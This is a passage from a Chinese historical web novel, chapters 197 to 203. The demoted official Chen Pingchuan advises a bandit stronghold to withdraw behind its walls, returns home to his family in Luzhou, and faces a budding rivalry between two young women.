陈平川的手指,在地图上缓缓划过,从京城,到顺城,再到黑风寨所在的位置。 他的手指,最终,点在了地图上一个三州交界的地方。 那个地方,赫然便是——庐州府! “这里。” 陈平川沉声开口。 “黑风寨地处群山之中,易守难攻,是一处绝佳的根据地,进可攻,退可守。” “而我的家乡,庐州府,地处青州、御州、江州三地交汇之处,水陆交通便利,物产丰饶,自古便是兵家必争之地。” “更重要的是,它远离京城,朝廷的控制力,相对薄弱。” 他的目光,变得锐利起来。 “天公道如今席卷青、御二州,下一步,他们必然要南下,图谋江州富庶之地。” “而庐州府,就是他们南下的咽喉要道!” “他们现在派人来招安你们,名为合作,实为吞并!” “一旦让他们得手,他们就能以黑风寨为跳板,占据地利,再以庐州府为根基,聚拢钱粮。” “到那时,他们就彻底成了气候,进可以威胁江淮,退可以固守山林,朝廷再想剿灭他们,就难如登天了!” 第198章 官兵哭了:我们想留下来当山贼! 陈平川一番话,说得众人心惊胆战,后背发凉。 他们之前只觉得天公道是群讨厌的疯子,却从没想过,这背后,竟然隐藏着如此深远的图谋和杀机! 这个所谓的“天公将军”,绝不是什么只懂得蛊惑人心的神棍,而是一个心机深沉,极具野心的枭雄! “他娘的!这帮孙子,算盘打得倒是精!” 铁牛听得一愣一愣的,忍不住又骂了一句。 “那还等什么!军师,你下令吧!咱们现在就点齐兵马,杀下山去,跟他们拼个你死我活!把他们的老巢给端了!” “拼?” 陈平川摇了摇头。 “怎么拼?你知道他们的老巢在哪儿吗?你知道他们有多少人吗?” “最关键的是,天公道最可怕的,不是他们的兵马,而是那些被他们彻底洗了脑,把他们当成神明来崇拜的狂热信徒!” 陈平川的声音,变得无比凝重。 “那些信徒,会为了他们的神明,教主赴汤蹈火!” “到时候,我们面对的,将不仅仅是天公道的军队,还有千千万万,把我们当成‘魔鬼’,不畏生死的普通百姓。” “我们会陷入人民战争的汪洋大海之中,寸步难行!” “到时候,别说端掉他们的老巢,我们能不能活下来,都是个问题!” 这番话,如同一盆冷水,将铁牛等人的满腔热血,浇了个透心凉。 他们这些山贼,打家劫舍,杀贪官奸商,眼睛都不眨一下。 但要让他们,去屠杀那些手无寸铁,只是被蒙蔽了的普通百姓,他们还真下不去这个手。 “那……那怎么办?” 铁牛彻底没辙了,挠着头,一脸的憋屈。 “难道就眼睁睁看着他们,在咱们眼皮子底下,作威作福?” 陈平川的嘴角,勾起一抹冷笑。 “当然不。” 他看向凤三娘,眼中闪烁着智慧的光芒。 “对付这种敌人,硬拼是下策。” “我的建议是,八个字。” “坚壁清野,高挂免战牌!” “从今天起,黑风寨收缩所有在外面的商路,将人手和物资,全部撤回山寨。” “对外宣称,黑风寨封山,任何人不得进出。” “我们不跟他们打,也不跟他们接触,就关起门来,过自己的日子。” “他们现在正在势头上,急于扩张,没那么多时间跟我们耗。” “只要我们坚守不出,他们就拿我们没办法。” “我们现在要做的,就是避其锋芒,静观其变,谋后而动。” 陈平川的计划,条理清晰,逻辑缜密。 在场的众人,听得是连连点头。 凤三娘看那双美丽的眸子里,也是异彩连连。 这个男人,无论是在朝堂之上,还是在这草莽之间,似乎永远都能在最复杂的局面中,找到最正确,最有效的解决办法。 她没有丝毫的犹豫,当即拍板。 “好!就按军师说的办!” 她转过身,对着铁牛等人,下达了一连串的命令。 “铁牛!” “在!” “你立刻带人,去通知我们在外面的所有商队,即刻停止交易,火速返回山寨!人可以回来,货……如果带不走,就地烧了,也绝不能留给天公道!” “是!” “哑巴叔!” 哑巴叔立刻上前一步。 “你负责加固山寨的防御工事,检查所有的机关陷阱,从今天起,山寨进入最高警戒状态!” 哑巴叔重重地点了点头。 “其余人,各司其职!安抚好山寨里的百姓,告诉他们,天塌不下来!有我凤三娘在,有陈军师在,黑风寨,就乱不了!” “是!” 众人齐声应和,声音响彻云霄。 第二天,整个黑风寨都动了起来。 空气中,弥漫着一股紧张而又肃杀的气氛。 王统领和他手下那十几个幸存的官兵,被这阵仗吓得是心惊肉跳,一个个缩在角落里,大气都不敢喘。 他们看着眼前这群令行禁止,纪律严明的“山贼”,再想想自己以前剿匪时遇到的那些乌合之众,心里头只有一个念头。 幸亏……幸亏陈大人是他们的军师。 这要是敌人,他们这十几号人,怕是连骨头渣子都剩不下了。 接下来的几天,陈平川一行人,在凤三娘的邀请下,暂时在黑风寨住下来。 凤三娘采纳了陈平川的建议,对外宣称封山,山寨的大门紧闭,吊桥高高挂起,彻底与外界断绝了联系。 而山寨之内,却是一片热火朝天的景象。 男人们在哑巴叔的带领下,加固寨墙,挖掘陷阱。 女人们则在后方,缝补衣甲,准备干粮。 就连学堂里的孩子们,都在组织下,帮忙搬运一些轻巧的物资。 每个人,都在为守护自己的家园而努力。 那种凝聚力和向心力,让王统领和他手下的官兵们,看得是目瞪口呆,心中震撼不已。 他们这些官兵,被凤三娘安排在了一处单独的院落里,好吃好喝地招待着,并没有受到任何的刁难。 一开始,他们还提心吊胆,生怕这群山贼翻脸不认人。 可几天下来,他们发现,自己的担心,完全是多余的。 山寨里的人,对他们虽然谈不上多热情,但也没有丝毫的敌意。 有时候,他们走在山寨的石板路上,还会碰到一些村民,对着他们善意地笑笑。 一个年轻的官兵,私下里,忍不住对王统领小声嘀咕。 “统领,您说……这儿真是山贼窝吗?” “我怎么瞅着,比咱们在京城里,过得还舒坦呢?” 另一个官兵也凑了过来,压低了声音。 “就是啊!你看这儿的人,个个脸上都带着笑,大人有活干,孩子有书读,家家有饭吃,晚上还能看到他们举办晚会……” “这日子,神仙过的吧?” “要不……统领,咱们……咱们也留下来得了?” “啪!” 王统领一巴掌拍在那官兵的后脑勺上。 “胡说八道些什么!” 他板着脸,低声训斥道:“咱们是朝廷的兵!是秦王殿下的人!怎么能跟一群山贼混在一起?忘了自己的身份了吗!” 虽然嘴上骂得凶,但王统领自己的心里,又何尝不心动? 他想起了京城里,那些高高在上的王公贵族,想起他们奢靡无度的生活。 他又想起了,自己护送陈平川出京时,在官道上看到的那些,面黄肌瘦,流离失所的灾民。 两相对比之下,这个所谓的“山贼窝”,简直就像是人间天堂。 他忽然有些明白了,陈大人为什么,会对那个腐朽的朝廷,如此失望。 他也忽然有些理解了,为什么凤三娘那样的奇女子,会甘愿在这山林之中,啸聚山林。 因为在这里,人,才活得像个人。 第199章 道在心中,我的天下,我来开创! 与王统领等人的震撼和迷茫不同,张若素这几天,却过得异常充实。 她对山寨里的一切,都充满了好奇。 尤其是那间,由陈平川一手建立起来的学堂。 她发现,学堂里教授的,不仅仅是简单的识字算数。 那些教材,有些是陈平川亲手编写的,很新奇。 里面没有之乎者也,没有圣人微言大义。 有的,只是最浅显,最实用的道理。 比如,人为什么要吃饭,粮食是怎么种出来的。 比如,布匹是怎么织成的,房子是怎么盖起来的。 再比如,什么是对,什么是错,人与人之间,应该如何相处。 那些深奥的民本思想,被陈平川用一个个生动有趣的小故事,深入浅出地,灌输给了这些山里娃。 张若素捧着那些用最粗糙的纸张印出来的教材,却看得如痴如醉。 她仿佛看到了一扇,通往新世界的大门。 她也常常和山寨里的村民们聊天,听他们讲述,陈军师是如何带领他们,用贸易的方式,让大家摆脱贫困,过上好日子的。 每一个村民,在提到“陈军师”这三个字的时候,眼中都闪烁着那种,发自内心的,不加掩饰的崇敬和爱戴。 她看着那个,在山寨里,时而指点江山,规划未来,时而又和铁牛那些粗人,勾肩搭背,大口喝酒,大块吃肉的陈平川。 他在这里,是如此的放松,如此的真实。 在这里,他只是他自己。 她终于彻底明白了。 人人有饭吃,人人有衣穿,人人有书读,人人有尊严。 这,才是陈平川真正想要建立的世界。 这,才是他真正的——道! 离别的日子,终究还是到了,陈平川一行人,也必须踏上回家的路。 临行前,王统领去召集他那些手下的时候,费了好大的劲。 好几个官兵,竟然真的铁了心,想要留下来,当“山贼”。 最后,还是王统领晓之以情动之以理,才把那几个小子,给硬生生拽了回来。 看着自己这帮没出息的手下,他气得是吹胡子瞪眼,心里却是一阵苦笑。 这黑风寨,真他娘的是个有魔力的地方。 …… 清晨的阳光,透过山间的薄雾,洒在黑风寨的寨门口。 山寨的大门,缓缓打开。 陈平川一行人,已经整装待发。 寨门口,黑风寨的男女老少全都自发地,聚集在了道路两旁。 他们没有说话,只是用最淳朴,最真挚的目光,静静地看着陈平川。 那目光里,有不舍,有感激,更有期盼。 凤三娘一身火红的劲装,牵着骏马,安静地站在陈平川的身边。 “军师,这个你带上。” 铁牛扛着一个巨大的包裹,走上前来,重重地放在马车上。 “这里面,是给你家里人带的些山货和布料,不值什么钱,是我们的一点心意。” “还有这个。” 他从怀里,又掏出一个沉甸甸的钱袋。 “这里面是五百两银子,你现在是庶民了,回了家,用钱的地方多,别委屈了自己。” 陈平川看着铁牛那张憨厚的黑脸,心中涌起一股暖流。 他没有推辞。 因为他知道,这是兄弟间的情义,推辞,就是见外了。 “谢了,铁牛。” “谢啥!跟俺还客气!” 铁牛咧开大嘴,嘿嘿一笑。 哑巴叔也走了上来,递给陈平川一个小小的瓷瓶。 他指了指瓷瓶,又指了指自己的胸口,然后对陈平川,做了个保重的口型。 陈平川知道,那里面,是上好的金疮药。 哑巴叔,还在惦记着他胸口那道,早已愈合的伤疤。 “多谢哑巴叔。” 陈平川郑重地,将瓷瓶收好。 “平川。” 凤三娘终于开口了。 她的声音,带着一丝沙哑,却异常动听。 “走吧。” 她利落地翻身上了自己的那匹马,动作行云流水,英姿飒爽。 陈平川也翻身上马。 他对着前来送行的所有人,拱手道别。 “各位乡亲,各位兄弟,陈平川,就此别过!” “他日若有缘,我们,江湖再见!” “军师保重!” “陈军师!我们等你回来!” 人群中,爆发出震天的呼喊。 陈平川不再犹豫,双腿一夹马腹,骏马长嘶一声,便朝着山下的方向,飞驰而去。 张若素和张金宝的马车,以及王统领和他那些垂头丧气的官兵们,紧随其后。 凤三娘一言不发,策马跟在陈平川的身旁,陪着他,走出了很远很远。 一路无话。 直到,他们走到了断魂峡的出口,那片曾经厮杀过的土地。 官道,就在前方。 凤三娘勒住了马缰,停了下来。 陈平川也停下了马。 两人,四目相对。 阳光下,凤三娘的眸子,亮得惊人。 “平川。” 她凝视着他,一字一句,清晰地说道:“记住我昨天说的话。” “黑风寨,永远是你的后盾!” “这个世道,不给你公道,我们自己,来讨一个公道!” “谁敢动你,我凤三娘,便是命不要,也要与他不死不休!” 她的声音,斩钉截铁,掷地有声! 陈平川的心,猛地一震。 他看着眼前这个,将所有情意,都化作了最坚定支持的女人,千言万语,都堵在了喉咙里。 最终,只化作了两个字。 “保重。” 凤三娘深深地看了他一眼,道:“我……我们大家,等你回来。” “回来,和我们一起,建一个,我们自己的天下!” 说完这句话,她猛地一拉马缰,调转马头,再也没有看陈平川一眼。 “驾!” 她娇喝一声,双腿用力一夹马腹。 那匹火红色的骏马,如同离弦之箭,朝着来时的山林深处,狂奔而去。 只留给陈平川一个,决绝而又,带着一丝落寞的,火红色的背影。 陈平川在原地,伫立了良久。 直到那个背影,彻底消失在山林的尽头。 他才长长地,舒了一口气。 心中,那份因为被朝廷贬官的失落,似乎在这一刻,被彻底驱散了。 取而代之的,是一种前所未有的,豪情万丈。 去他娘的朝廷! 去他娘的官爵! 我要为自己,为这天下百姓,闯出一条新路! 他调转马头,目光望向了庐州府的方向。 那里,有他的亲人。 那里,也将是他,新征程的起点! “我们回家!” 他对着身后的众人,朗声说道。 一行人,浩浩荡荡地,踏上了回家的官道。 第200章 风尘归故里,慈母识佳人 经过数日的奔波,一行人终于抵达了庐州府的地界。 远远地,那熟悉的城郭轮廓,已经出现在了地平线上。 望着那座自己生活了多年的城池,陈平川的心中,感慨万千。 离家之时,他还是一个意气风发的少年,在京城高中状元,前途无量。 如今归来,却已是身无官职,被贬为民的庶人。 世事无常,莫过于此。 “大哥,咱们是直接回家,还是先去知会一下府衙?” 张金宝掀开车帘,探出头来问道。 “不必了。” 陈平川摇了摇头。 “我现在只是一个普通百姓,没必要去惊动官府。” 他不想再和那些官场上的人,有任何的瓜葛。 只想安安静静地,回到那个属于自己的小院,见一见自己日思夜想的亲人。 一行人绕开了官道,从一条偏僻的小路,进了城。 庐州府还是老样子,街道上人来人往,叫卖声此起彼伏,充满了生活的气息。 陈平川刻意压低了斗笠,没有在主街上停留,而是带着众人,穿过几条小巷,悄无声息地,来到了自家那个熟悉的小院前。 就是这里了。 陈平川看着那扇紧闭的,有些斑驳的木门,心中涌起一股名为“近乡情怯”的情绪。 他深吸一口气,翻身下马,走上前去。 伸出手,轻轻地,推开了那扇门。 “吱呀——” 一声轻响,院内熟悉的情景,映入眼帘。 院子不大,但收拾得干干净净。 西墙下,父亲陈仲和,正光着膀子,挥舞着斧头,吭哧吭哧地劈着柴。 院子中央的晾衣绳上,挂满了刚刚洗过的衣服,母亲罗氏,正踮着脚,一件一件地晾晒着。 屋檐下的廊道上,妹妹陈平玉,则安安静静地坐在一张小板凳上,低着头,做着手里的女红。 岁月静好,一如往昔。 听到门响,院子里的三个人,几乎是同时,停下了手中的动作,齐刷刷地,朝着门口望了过来。 时间,仿佛在这一刻,静止了。 陈平川看着父母那熟悉而又苍老了些许的面容,看着妹妹那已经出落得亭亭玉立的身影,眼眶,瞬间就湿了。 他的嘴唇,动了动,喉咙里,像是堵了什么东西。 “爹。” “娘。” “小玉。” “我……回来了。” 他的声音,带着沙哑和哽咽。 “啪嗒。” 罗氏手中的一件衣服,掉在了地上。 她怔怔地看着门口那个,风尘仆仆,身形挺拔的儿子,眼睛,一瞬间就红了。 “平……平川?” 她试探着,叫了一声,仿佛不敢相信自己的眼睛。 “娘。” 陈平川对着她,露出了一个笑容。 “我的儿啊!” 罗氏再也忍不住了,眼泪像断了线的珠子一样,夺眶而出。 她快步冲了上来,一把抱住自己的儿子,抡起拳头,一边捶打着他的后背,一边又哭又骂。 “你去顺城那么危险的地方,咋不写信告诉家里?!” “你知不知道娘在家里,有多担心你啊!” 她的拳头,打在身上,一点都不疼。 陈平川任由她打着,骂着,只是将她,紧紧地抱在怀里。 “娘,对不起,让您担心了。” 一旁的陈仲和,也扔下了手中的斧头。 这个憨厚老实的男人,不善言辞,只是红着眼圈,一个劲地搓着手,嘴里不停地念叨着。 “回来就好,回来就好啊……” “哥!” 陈平玉也扔下了手中的针线活,跑了过来,拉着陈平川的衣袖,泪眼婆娑。 一家人,就这么在院门口,又笑又哭。 一旁的张金宝,看着这感人的一幕,也忍不住吸了吸鼻子,走上前去,对着陈仲和与罗氏,恭恭敬敬地行了一礼。 “叔,婶,我把大哥给你们平安送回来了。” “哎哟,是金宝啊!” 罗氏这才注意到旁边的张金宝,连忙擦了擦眼泪,拉着他的手。 “好孩子,辛苦你了,快,快进屋坐。” 寒暄过后,一家人的目光,才终于落在了陈平川身后,那个一直安静地站着,气质不凡的“年轻人”身上。 还有那个,一脸苦大仇深,仿佛死了爹娘的王统领,和他身后那十几个,神情萎靡的官兵。 陈仲和看着这么多人,有些发懵。 “平川,这些……这些是?” 陈平川这才想起来,连忙拉过身后的张若素,对着父母介绍道:“爹,娘,这位是张若素,若素是我的朋友,这一路多亏了她照顾。” 他又指了指王统领等人。 “这位是王统领,是秦王殿下派来,护送我回乡的。” 陈仲和与罗氏一听,一个是儿子的朋友,一个是王爷派来的人,顿时不敢怠慢,连忙热情地,将众人往院子里让。 “快,快请进,快请进!” “家里地方小,怠慢了各位贵客了!” “平玉啊,赶紧给客人沏茶。” 院子里,顿时热闹了起来。 …… 王统领和他手下的官兵,自然不能住在陈平川家里。 陈平川给了王统领一些银子,让他带着手下,先去城里最好的客栈住下,好生休整一番。 王统领推辞不过,只得领命而去。 院子里,终于只剩下了自家人。 哦,不,还有一个“外人”——张若素。 陈平川将她介绍给家人的时候,并没有说她是女人,毕竟一个未出阁的女子,一路跟着他抛头露面,传出去对人家姑娘的名声不好。 陈仲和是个老实人,见这位“若素兄弟”眉清目秀,气质不凡,虽然看起来文文弱弱的,但既然是儿子的救命恩人,那便是陈家的大恩人。 他热情地招呼着张若素坐下,又是端茶,又是递水的,嘴里不停地念叨着:“若素兄弟啊,真是太感谢你了,这一路上,我家平川,没少给你添麻烦吧?” 张若素被这淳朴的热情,搞得有些不好意思,连忙起身还礼。 “陈伯伯言重了,是平川他……一路上照顾我才对。” 她的声音清脆悦耳,虽然刻意压低了声线,但还是带着一丝女子的柔美。 陈仲和没听出来,只觉得这小兄弟,说话真好听。 但一旁的罗氏和陈平玉,却听出了点别的味道。 陈平玉拉着母亲的衣袖,凑到她耳边,小声地嘀咕。 “娘,你看平川哥哥带回来的那个朋友,长得可真俊俏啊。” “眉毛是眉毛,眼睛是眼睛的,比咱们庐州府戏台子上,那个演小生的还要好看呢!” 小姑娘情窦初开,看着张若素那张雌雄莫辨的俊美脸庞,不由得有些脸红心跳。 罗氏却只是瞥了一眼,正端着茶杯,小口小口喝茶的张若素,嘴角撇了撇。 她压低了声音,对女儿说道。 “傻丫头,那是个女娃。” “啊?” 陈平玉大吃一惊,一双眼睛,瞪得溜圆。 “女……女娃?” 她又仔仔细细地,打量了张若素一番。 平坦的胸脯,宽松的男式长衫,束起的长发……怎么看,都像个男人啊! “娘,您怎么看出来的?” 陈平玉满脸的好奇和佩服。 罗氏得意地,哼了一声。 “你娘我吃的盐,比你吃过的米还多!这点眼力见,还没有吗?” 她压低声音,给女儿分析道:“你看她走路的那个步子,虽然学着男人,迈得很大,但那腰,那胯,还是女人的走法。” “再看她喝茶的样子,端杯子的手,翘着个兰花指,哪有男人家家这么喝茶的?” “还有,最重要的一点!” 罗氏凑得更近了些,声音压得更低了。 “你看她的喉咙,光溜溜的,连个喉结的影子都没有!” “装得再像,也是个女的!” 陈平玉听得是一愣一愣的,再去看张若素时,越看,越觉得母亲说得对。 她顿时对自己的母亲,佩服得是五体投地。 娘的眼睛,也太尖了吧! 简直比天上的老鹰,还要厉害! 第201章 亲娘左右为难,手心手背都是肉! 天色不早,张金宝在陈家吃过了晚饭,便告辞回家报信去了。 临走前,还一个劲地,给陈平川使眼色,那意思不言而喻。 “大哥,我妹的事,你可上点心啊!” 陈平川只当没看见。 吃完饭,罗氏开始安排住宿。 家里房间不多,只有三间正房,一间父母住,一间陈平玉住,剩下一间,自然是陈平川的。 陈仲和这个老实巴交的汉子,完全没多想,他拍了拍陈平川的肩膀,理所当然地说道。 “平川啊,你和若素兄弟,一路奔波,肯定都累坏了。” “晚上,就让你若素兄弟,跟你住一间房吧。” “你们也好有个照应,晚上说说话,解解乏。” “噗——” 陈平川刚喝进嘴里的一口茶,差点没直接喷出来。 跟张若素,住一间房? 爹啊! 您可真是我的亲爹啊! 张若素的脸,也刷地一下,红到了耳根。 她低着头,捏着衣角,窘迫得,恨不得找个地缝钻进去。 “咳咳!” 陈平川刚想开口解释。 “啪!” 一声脆响。 罗氏一个爆栗,结结实实地,敲在了自己丈夫的后脑勺上。 “你个老糊涂!” 罗氏叉着腰,对着陈仲和,就是一顿劈头盖脸的怒骂。 “你眼睛瞎了吗!啊?!” “人家明明是个如花似玉的大姑娘,你让人家,跟平川一个大男人,住一间房?” “你想干什么?啊?!” “传出去了,人家姑娘的名声还要不要了?” 罗氏的声音,又急又快,像连珠炮一样。 骂得陈仲和是晕头转向,一脸懵逼。 “大……大姑娘?” 他指着低着头的张若素,结结巴巴地,看看这个,又看看那个。 “她……她不是……” 罗氏懒得再跟他废话。 她变脸比翻书还快,前一秒还凶神恶煞,下一秒,就换上了一副无比亲热的笑脸。 她走上前,一把拉住张若素的手,那叫一个热情。 “若素啊,别听这个老东西胡说八道。” “你一个女孩子家家的,出门在外,多有不便,真是苦了你了。” “来,今晚,你就跟小玉一起住。” “你们俩年纪也差不多,正好做个伴,说说话。” 说罢,不由分说,就拉着满脸通红的张若素,进了陈平玉的房间。 只留下陈平川和陈仲和父子俩,在院子里,大眼瞪小眼。 陈仲和还是一脸的迷茫,他挠着头,凑到儿子身边,小声地问。 “平川,你娘她……她是不是气糊涂了?怎么说若素兄弟,是个姑娘呢?” 陈平川无奈地,叹了口气。 “爹,娘没说错。” “啊?” 陈仲和的嘴巴,张得能塞下一个鸡蛋。 直到,洗漱完毕的张若素,在陈平玉的陪伴下,换上了一身干净的,属于陈平玉的碎花布裙,从房间里走了出来。 虽然衣服有些不合身,但那窈窕的身姿,那清丽的容颜,那属于女儿家的温婉气质,再也无法掩饰。 陈仲和彻底傻眼了。 他指着宛若变了一个人似的张若素,又看看自己的儿子,张着嘴,半天,都说不出一句完整的话来。 “她……他……你……” 我的老天爷啊! 儿子这次出门,不声不响的,竟然带回来一个,这么俊俏的大姑娘! 夜深人静。 陈平川躺在自己那张熟悉的木板床上,闻着被褥上阳光的味道,心中一片宁静。 还是家里好啊。 不用勾心斗角,不用提心吊胆。 就在他迷迷糊糊,快要睡着的时候。 “咚咚咚。” 房门,被敲响了。 “平川,睡了没?” 是母亲罗氏的声音。 “没呢,娘,门没拴。” 陈平川连忙起身,点亮了油灯。 罗氏推门走了进来,手里还端着一碗,热气腾腾的,荷包蛋糖水。 “累了一天了,喝碗糖水,暖暖身子再睡。” 她将碗放在桌上,却没有要走的意思。 她在陈平川的床边坐下,借着昏黄的灯光,仔仔细细地,打量着自己的儿子。 那眼神,看得陈平川心里直发毛。 “娘,您这么看着我干嘛?” “我看看。” 罗氏伸出手,摸了摸他的脸,又捏了捏他的胳膊。 “瘦了,也黑了。” 她的声音里,充满了心疼。 但下一秒,她的脸色,就瞬间严肃了起来,摆出了一副“公堂审问”的架势。 “平川,你老实跟娘说。” “那个张姑娘,到底是怎么回事?” “你可别跟娘打马虎眼!” “你是不是在外面,惹了什么风流债,人家姑娘,找上门来了?” “噗!” 陈平川差点没一口老血喷出来。 风流债? 娘啊,您的想象力,也太丰富了吧! 您儿子我,在京城里,不是在跟人斗,就是在去跟人斗的路上,哪有那个时间,去惹什么风流债啊! 他哭笑不得,只得将自己和张若素,是如何在兰亭诗会相识,如何因为《安民论》而成为知己,如何在顺城同舟共济。 再到后来,她如何不顾自身安危,冒死从顺城,将万民血书送到京城,救了自己一命的经历,原原本本地,给罗氏讲述了一遍。 当然,其中那些朝堂之上的凶险,和被人追杀的细节,他都轻描淡写地,一笔带过了。 饶是如此,罗氏听完,还是惊出了一身的冷汗。 她脸上的怒气,早已烟消云散,取而代之的,是满脸的后怕和愁容。 她长长地,叹了一口气。 “原来是这样……是咱们家的救命恩人啊……” “那……那确实是怠慢不得。” 她看着陈平川,脸上的愁云,却更重了。 “可是……儿啊,这事,难办了呀!” “怎么难办了?”陈平川有些不解。 罗氏伸出手指头,开始给自己的儿子,算起了账。 “你不在家的这些日子,桃花村张财主家的那个静姝姑娘,你还记得吧?” “记得,怎么了?” “怎么了?” 罗氏白了他一眼。 “那姑娘,是三天两头地,往咱们家跑啊!” “今天,提着她亲手做的点心来。” “明天,又扯了上好的布料,给你妹妹做新衣裳。” “前阵子,我跟你爹,就是偶感风寒,咳嗽了两声,那孩子比谁都紧张,亲自跑去城里,请最好的大夫,抓了药,还在咱们家,守着药炉子,亲自熬药,一勺一勺地,喂到我跟你爹的嘴里。” “忙前忙后,嘘寒问暖的,比我这个亲闺女小玉,还要亲!” 罗氏说起张静姝,那是赞不绝口,满脸的喜爱。 “现在,咱们这条街上的街坊邻里,谁不知道,她张静姝,就是咱们老陈家,板上钉钉的准儿媳妇了!” “我跟你爹,也是打心眼里,喜欢那孩子,早就把她,当成自家的儿媳妇在看了。” 说到这里,她话锋一转,愁眉苦脸地看着陈平川。 “你这倒好,不声不响的,突然就带回来一个。” “还是个这么有才气,有样貌,对咱们家,又有天大恩情的大家闺秀……” “这……这可让娘怎么办啊?” “一个,是咱们看着长大的,知根知底,对咱们家掏心掏肺的好姑娘。” “另一个,是你的救命恩人,知书达理,温婉贤淑。” “手心手背都是肉,娘……娘哪个都舍不得啊!” 第202章 两个不嫌多,三个不嫌少,罗氏:都娶过门! 陈平川听得是一个头,两个大。 他怎么都没想到,自己不在家的这段时间,张静姝那丫头,竟然已经把他爹妈,给攻略得如此彻底了。 这丫头,可以啊! 知道走“婆婆路线”了! 罗氏看着儿子那头疼的模样,忽然,又想起了什么,一拍大腿。 “哎呀!我差点给忘了!秦王那边,不是还有个郡主,跟你订了婚约呢!” “我的老天爷啊!” “一个,两个,三个!” 罗氏掰着手指头,越数,脸越白,越数,心越慌。 她看着自己的儿子,眼神都变了,仿佛在看一个,四处留情的,负心汉。 “你……你让娘咋办?” “尤其是静姝那孩子,你又不是不知道,她那大小姐的脾气,从小就要强。” “这要是让她知道了,你带回来一个张姑娘,那还不得把咱们家的屋顶,都给掀了啊?” 忽然,她像是想到了什么好主意,眼睛一亮,一拍手,嘿嘿笑了起来。 “要不然……干脆……都娶过门算了!” “大的小的,咱都要!” “正好,给咱们老陈家,多生几个大胖孙子,添丁进口!光宗耀祖!” 陈平川:“……” 面对母亲这石破天惊的想法,陈平川感觉自己的脑袋,嗡嗡作响。 如果让罗氏知道他外面还有个凤三娘,不知道会有什么反应? 无奈之下,他只能摊开双手,使出了万能的拖字诀。 “娘,您想哪儿去了。” “我现在年纪还小,而且,国事动荡,天下未平,实在是,没有心思去考虑这些儿女私情。” “无论是若素,还是静姝,又或者是郡主,现在,都只是朋友。” “婚事,八字还没一撇呢,以后再说,以后再说吧。” 罗氏看着儿子那一脸“我是渣男我怕谁”的表情,意味深长地,摇了摇头。 她心里暗道:“傻儿子,这种事,可由不得你了。” 她站起身,拍了拍陈平川的肩膀。 “行了,夜深了,早点睡吧。” “不过,我可提醒你。” “明天,静姝那孩子肯定上门来看你。” “到时候,你自己好自为之吧!” 说完,罗氏端着空碗,哼着小曲,走了。 留下陈平川一个人,在风中凌乱。 明天? 修罗场,要来了吗? …… 第二天一大早,天刚蒙蒙亮,陈平川就起了床。 他没敢在家里多待,生怕张静姝那丫头找过来。 他找了个借口,说是要去拜望恩师,便溜出家门,避风头。 方先生的家,还是老样子,一个不大的院落,种满了花草,收拾得井井有条。 陈平川敲开门的时候,正在院子里摆弄花草的方先生,看到他,整个人都愣住了。 “平……平川?” 老先生揉了揉自己的眼睛,还以为是自己老眼昏花,看错了。 “先生,是我,学生回来看您了。” 陈平川恭恭敬敬地,对着方先生,行了一个标准的弟子礼。 “哎哟!好!好啊!” 方先生反应过来后,激动不已。 他一把拉住陈平川的手,将他请进屋里,上上下下地,打量个不停。 “回来就好,回来就好啊!” 师生二人,相对而坐,一番久别重逢的叙旧,自然是免不了的。 方先生虽然身处乡野,但对朝堂之事,并非一无所知。 他紧紧地握着陈平川的手,言语之间,满是对自己这个得意门生的赞赏和骄傲。 “好样的!平川!没给为师丢脸!” “你在朝堂之上,不畏强权,为民请命,舌战群儒,怒斥国贼!做得对!做得好!” “读书人,就该有这样的风骨!” “虽千万人,吾往矣!” 老先生说得是慷慨激昂,唾沫横飞。 “如今,你虽然被奸人所害,罢官还乡,但切不可因此就心灰意冷,消磨了志气。” “身在乡野,亦要心怀天下!” “要记住你曾经说过的话,为天地立心,为生民立命,为往圣继绝学,为万世开太平!这,才是我辈读书人,该有的追求!” 一番话,说得陈平川是热血沸腾,心中充满了感动。 他知道,先生这是在用自己的方式,来安慰他,鼓励他。 “先生放心,学生,谨记您的教诲。” …… 从方先生家出来,陈平川的心情,敞亮许多。 然而,当他慢悠悠地,晃荡回自己家门口时,好心情,瞬间就没了。 只见一辆豪华马车停在门口,院子里传来张金宝那标志性的大嗓门。 “平川大哥呢?我爹和我妹,来看你啦!” 陈平川心里咯噔一下。 该来的,终究还是来了。 他硬着头皮,走进院子。 只见院子里,张盛财那个胖子,正挺着个大肚子,满面红光地,跟自己的父亲陈仲和,吹着牛逼。 而在他身后,站着一个,亭亭玉立的少女。 不是张静姝,又是谁? 今天的张静姝,明显是精心打扮过的。 她穿着一身崭新的,粉色罗裙,头上插着一支精致的珠花,小脸薄施粉黛,更显得明艳动人。 她一见到陈平川,那双原本带着一丝羞涩和期盼的眸子,瞬间,就亮了起来,像是有星星,在里面闪烁。 所有的思念,所有的担忧,在这一刻,都化作了满溢的喜悦。 “平川哥哥!” 她快步上前,声音里,带着一丝久别重逢的委屈和撒娇。 “你总算回来了!” “我还以为,你当了大官,坐了那什么忠勇侯,就把我们这些乡下的穷亲戚,都给忘了呢!” 她的话,酸溜溜的,但任谁都听得出来,那里面,是浓浓的亲昵。 陈平川看着她,心中也是一阵感慨。 一年多不见,这丫头,长大了,也更好看了。 “怎么会。” 他笑了笑,正想说些什么。 就在这时。 “吱呀”一声。 正屋的房门,被推开了。 一道倩影,从屋里,端着一个茶盘,缓缓走了出来。 来人一身素雅的布裙,虽然简单,却难掩其绝代风华。 她对着院子里的众人,温婉一笑,如春风拂面,百花盛开。 “各位请用茶。” 正是换回了女装的,张若素。 院子里,一片安静。 张静姝脸上的笑容,在看到张若素的那一刻,瞬间凝固了。 她脸上的血色,以肉眼可见的速度,迅速褪去,变得一片苍白。 她不是傻子。 她看着眼前这个,无论是容貌,还是气质,都十分出众的女子。 再看看她与陈平川对视时,眼中那份无需言说的,自然而然的默契。 一股前所未有的,强烈的危机感和酸楚,如同冰冷的潮水,瞬间,将她整个人,都淹没了。 她感觉自己的心,堵得慌! 这个女人是谁? 她为什么会在这里? 她跟平川哥哥,是什么关系? 无数个问题,在她的脑海里,疯狂地盘旋,让她几欲发狂。 她没有哭,也没有闹。 她只是收起了脸上所有的笑容,嘴角缓缓地勾起了一抹自嘲的弧度。 她转过头,看着陈平川,那眼神冰冷得像是一把刀子。 她一步一步地,走到陈平川的面前。 然后,用一种不大不小的声音开口了。 那声音里,充满了挑衅的意味。 第203章 青梅竹马,红颜知己,你选哪个? “平川哥哥。” 张静姝仰着头,看着陈平川,那双曾经柔情似水的眸子里,此刻,却像是结了一层冰。 “你在京城学了好本事啊。” 她的话,说得阴阳怪气。 “连女人都会拐了!” 